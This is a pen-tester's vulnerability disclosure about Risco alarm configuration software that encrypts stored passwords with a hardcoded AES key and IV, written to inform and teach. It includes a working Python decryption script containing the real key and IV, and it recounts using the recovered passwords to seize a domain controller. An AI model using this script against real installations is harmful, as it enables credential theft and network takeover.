During a routine pen-test of an alarm receiving centre, a piece of software was found that was used to remotely configure Risco alarms.
The software is backed by a SQL database called “ConfigurationSoftware” which contains a table called ut_Users with a column called PWD which stores passwords for users that can log into the system.
On further investigation, this password was stored in an encrypted form. This allows it to be recovered from the software, and doesn’t follow best practices of hashing passwords.
The encryption is AES-256 and uses a fixed key and IV which is hardcoded into the application.
Passwords were recovered from the database which, due to password re-use, allowed me to take control of the domain controller and website of the company. The password was of good complexity, so if hashing had been used, I would have been unlikely to have recovered this.
A Python script to decrypt the passwords is shown below.
from Crypto.Cipher import AES from Crypto import Random import base64 BS = 32 # PKCS #7 pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS) unpad = lambda s : s[0:-ord(s[-1])] def encrypt(raw, key, iv ): raw = pad(raw) cipher = AES.new(key, AES.MODE_CBC, iv) return (cipher.encrypt(raw )) def decrypt(enc, key, iv ): cipher = AES.new(key, AES.MODE_CBC, iv) return unpad(cipher.decrypt(enc)) # Static and hardcoded key = 'FKLe608FDsF5J6ZaKpTghjED7Hb80ALq' iv = 'Sckt6DopykVCD9Lq' # The default 123 password as installed ciphertext = 'BQqwo4a87TvfJKv4af8h3g==' print 'Password is %s' % decrypt(base64.b64decode(ciphertext), key, iv).decode('utf-16-le')
This was reported to Risco on 7th August. A fix is meant to be deployed at the beginning of November.
Conclusion
- Hash, don’t encrypt your passwords.
- Don’t hardcode encryption keys in your software
- Don’t use the same password for domain admin as in a system of unknown quality
- Have a security contact so it’s not painful to report issues